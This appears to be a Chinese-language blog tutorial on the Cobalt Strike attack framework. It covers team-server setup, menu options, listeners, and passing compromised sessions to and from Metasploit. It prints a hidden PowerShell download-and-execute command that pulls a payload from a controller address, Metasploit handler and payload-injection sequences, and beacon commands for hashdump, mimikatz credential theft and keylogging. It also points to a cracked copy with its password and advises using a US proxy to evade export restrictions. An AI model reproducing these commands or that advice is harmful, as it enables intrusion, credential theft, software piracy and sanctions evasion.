Cobalt Strike学习笔记

  Cobalt Strike 一款以metasploit为基础的GUI的框架式渗透测试工具,集成了端口转发、服务扫描,自动化溢出,多模式端口监听,win exe木马生成,win dll木马生成,java木马生成,office宏病毒生成,木马捆绑;钓鱼攻击包括:站点克隆,目标信息获取,java执行,浏览器自动攻击等等。Cobalt Strike主要用于团队作战,能让多个攻击者同时连接到团体服务器上,共享攻击资源与目标信息和sessions。
  Cobalt Strike,据说现在最新版为3.9,主要分为试用版和付费版,试用版为21天,付费版3500美元,据说网上也有一些破解教程cobaltstrik3.6破解版下载 密码: 51tg。因为Cobalt Strike是美国对外限制型出口软件,只在美国和加拿大允许发售,所以我们需要google搜索下usa的个人代理来绕开限制。

0x01 安装与运行

  Cobalt Strike需要JAVA环境,需要注意的是JAVA环境不要安装最新版,否则会出一些问题,Cobalt Strike分为客户端和服务端可分布式操作可以协同作战。但一定要架设在外网上,或者自己想要搭建的环境中,服务器端只能运行在Linux系统上。其中关键的文件是teamserver以及cobaltstrike.jar,将这两个文件放到服务器上同一个目录,然后运行:

1
./teamserver 192.168.3.32 test #自己的IP和密码


  说一下我安装运行时遇到的坑,首先:JAVA版本必须为8,否则就因版本问题无法编译运行;二:IP必须为真实IP,不能使用0.0.0.0或者127.0.0.1,这样也会报错的。
  服务器端运行之后,我们就可以运行客户端了,客户端可以在Windows或者Linux下都可以。输入我们刚才IP以及端口、密码,用户名可以任意设置。


  当攻击目标在控制台所操作的指令都会被记录到保留在Cobalt Strike目录logs下,对了,破解版是无法更新的。

0x02 参数详情

  • Cobalt Strike

    1
    2
    3
    4
    5
    6
    7
    New Connection #进行另外一个连接,支持连接多个服务器端
    Preferences #设置Cobal Strike界面、控制台、以及输出报告样式、TeamServer连接记录
    Visualization #主要展示输出结果的形式
    VPN Interfaces #设置VPN接口
    Listenrs #创建一个Listener
    Script Manager #
    Close #退出连接
  • View

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    Applications #显示受害者机器的应用信息
    Credentials #凭证当通过hashdump或者Mimikatz抓取过的密码都会储存在这里。
    Downloads #下载文件
    Event Log #主机上线记录以及团队协作聊天记录
    Keystrokes #键盘记录
    Proxy Pivots #代理模块
    Screenshots #进程截图
    Script Console #控制台,在这里可以加载[各种脚本](https://github.com/rsmudge/cortana-scripts)以增强功能
    Targets #显示目标
    Web Log #Web访问记录
  • Attacks

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    Packages #攻击包
    HTML Application 生成恶意的HTA木马文件
    MS Office Macro 生成office宏病毒文件
    Payload Generator 生成各种语言版本的payload
    USB/CD AutoPlay 生成利用自动播放运行的木马文件
    Windows Dropper 捆绑器,能够对文档类进行捆绑
    Windows Executable 生成可执行exe木马
    Windows Executable(S) 生成无状态的可执行exe木马
    Web Drive-by #钓鱼攻击
    Manage 对开启的web服务进行管理
    Clone Site 克隆网站,可以记录受害者提交的数据
    Host File 提供一个文件下载,可以修改Mime信息
    PowerShell Web Delivery 类似于msf 的web_delivery
    Signed Applet Attack 使用java自签名的程序进行钓鱼攻击
    Smart Applet Attack 自动检测java版本并进行攻击,针对Java 1.6.0_45以下以及Java 1.7.0_21以下版本
    System Profiler 用来获取一些系统信息,比如系统版本,Flash版本,浏览器版本等
    Spear Phish #用来邮件钓鱼的模块
  • Reporting

    1
    2
    3
    4
    5
    6
    activity report #活动报告生成
    Hosts report #主机报告
    Indicators opromisef com #目标报告
    Sessions report #会话报告
    Social engineering report #社会工程报告
    Export data #数据出口
  • help

    1
    2
    3
    4
    5
    Homepage #官方主页
    Support #技术支持
    Arsenal #开发者
    System information #版本信息
    About #关于

0x03 基本运行

  首先使用Cobalt Strike需要创建一个Listener,点击 Cobalt Strike->Listeners ,然后点击Add便可以创建自己想要的Listeners了,Cobalt Strike3.6包括

1
2
3
4
5
6
7
8
9
windows/beacon_dns/reverse_dns_txt
windows/beacon_dns/reverse_http
windows/beacon_http/reverse_http
windows/beacon_https/reverse_https
windows/beacon_smb/bind_pipe
windows/foreign/reverse_dns_txt
windows/foreign/reverse_http
windows/foreign/reverse_https
windows/foreign/reverse_tcp

  其中windows/beacon是Cobalt Strike自带的模块,包括dns,http,https,smb四种方式的监听器,windows/foreign为外部监听器,即msf或者Armitage的监听器。 选择监听器以后,host会自动填写我们开启服务时的ip,配置监听端口,然后保存,监听器就创建好了。

  在创建好监听器,接下来就需要配置我们的客户端了,Cobalt Strike提供了多种包括攻击方式,在这里我们使用Powershell进行攻击。


1
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.3.83:8888/a'))"

  当我们在目标靶机运行上面这条Powershell之后,我们的Cobalt Strike客户端就会监听到我们的反弹链接,我们就可以看到已经有目标机上线。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
beacon> help
Beacon Commands
===============
Command Description
------- -----------
browserpivot Setup a browser pivot session
bypassuac Spawn a session in a high integrity process
cancel Cancel a download that's in-progress
cd Change directory
checkin Call home and post data
clear Clear beacon queue
covertvpn Deploy Covert VPN client
desktop View and interact with target's desktop
dllinject Inject a Reflective DLL into a process
download Download a file
downloads Lists file downloads in progress
drives List drives on target
elevate Try to elevate privileges
execute Execute a program on target
exit Terminate the beacon session
getsystem Attempt to get SYSTEM
getuid Get User ID
hashdump Dump password hashes
help Help menu
inject Spawn a session in a specific process
jobkill Kill a long-running post-exploitation task
jobs List long-running post-exploitation tasks
kerberos_ccache_use Apply kerberos ticket from cache to this session
kerberos_ticket_purge Purge kerberos tickets from this session
kerberos_ticket_use Apply kerberos ticket to this session
keylogger Inject a keystroke logger into a process
kill Kill a process
link Connect to a Beacon peer over SMB
logonpasswords Dump credentials and hashes with mimikatz
ls List files
make_token Create a token to pass credentials
mimikatz Runs a mimikatz command
mkdir Make a directory
mode dns Use DNS A as data channel (DNS beacon only)
mode dns-txt Use DNS TXT as data channel (DNS beacon only)
mode http Use HTTP as data channel
mode smb Use SMB peer-to-peer communication
net Network and host enumeration tool
note Assign a note to this Beacon
portscan Scan a network for open services
powershell Execute a command via powershell
powershell-import Import a powershell script
ps Show process list
psexec Use a service to spawn a session on a host
psexec_psh Use PowerShell to spawn a session on a host
pth Pass-the-hash using Mimikatz
pwd Print current directory
rev2self Revert to original token
rm Remove a file or folder
rportfwd Setup a reverse port forward
runas Execute a program as another user
screenshot Take a screenshot
shell Execute a command via cmd.exe
sleep Set beacon sleep time
socks Start SOCKS4a server to relay traffic
socks stop Stop SOCKS4a server
spawn Spawn a session
spawnas Spawn a session as another user
spawnto Set executable to spawn processes into
steal_token Steal access token from a process
timestomp Apply timestamps from one file to another
unlink Disconnect from parent Beacon
upload Upload a file
wdigest Dump plaintext credentials with mimikatz
winrm Use WinRM to spawn a session on a host
wmi Use WMI to spawn a session on a host

0x04 与msf进行联动

  • cs获得了一个上线机器,想把这个机器丢给msf中的meterpreter获得一个session进行控制
    这里我们已经获得了一个上线机器。
1
2
3
4
5
6
7
8
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp ##不要用x64的payload
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.3.72
lhost => 192.168.3.72
msf exploit(handler) > set lport 5555
lport => 5555
msf exploit(handler) > exploit -j


之后使用Cobalt Strike创建一个windows/foreign/reverse_tcp Listener,其中ip为msf的ip地址,端口为msf所监听的端口,

然后选中计算机,右键->Spawn:选择刚刚创建的监听器:

这个时候我们可以看到,msf上的监听已经上线,我们可以进行我们想要的一些操作了。

  • msf获得了一个meterpreter的session,想把session传给cs
    这里我们已经获得了一个meterpreter的session

    在CS中创建一个监听者,和上一步类似,这里host需要修改为CS客户端IP,创建好之后我们便监听着6666端口,等待着被控机连接。

    此时切我们换到meterpreter中,
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    meterpreter > background # 切换到后台
    msf exploit(handler) > use exploit/windows/local/payload_inject # 这个exploit是注入一个新的payload 到当前的session里面
    msf exploit(payload_inject) > set payload windows/meterpreter/reverse_http # 不能使用x64的payload
    payload => windows/meterpreter/reverse_http
    msf exploit(payload_inject) > set DisablePayloadHandler true # 关闭msf payload的监听,可以不用设置,不影响效果
    msf exploit(payload_inject) > set lhost 192.168.3.103 # cs的服务端IP
    lhost => 192.168.3.103
    msf exploit(payload_inject) > set lport 6666 # 监听者的监听端口
    lport => 6666
    msf exploit(payload_inject) > set session 1 # 这里是之前meterpreter的session编号
    session => 1
    msf exploit(payload_inject) > exploit


此时机器便已成功从cs成功上线,可以进行各种姿势的操作。

  • cs获得了一个上线机器,想把这个机器丢给msf中继续进行渗透
    根据上线的肉鸡,可以使用SOCKS代理

    配置proxychains.conf,添加socks4 127.0.0.1 32557,然后就可以通过proxychains 使用各种工具做内网渗透了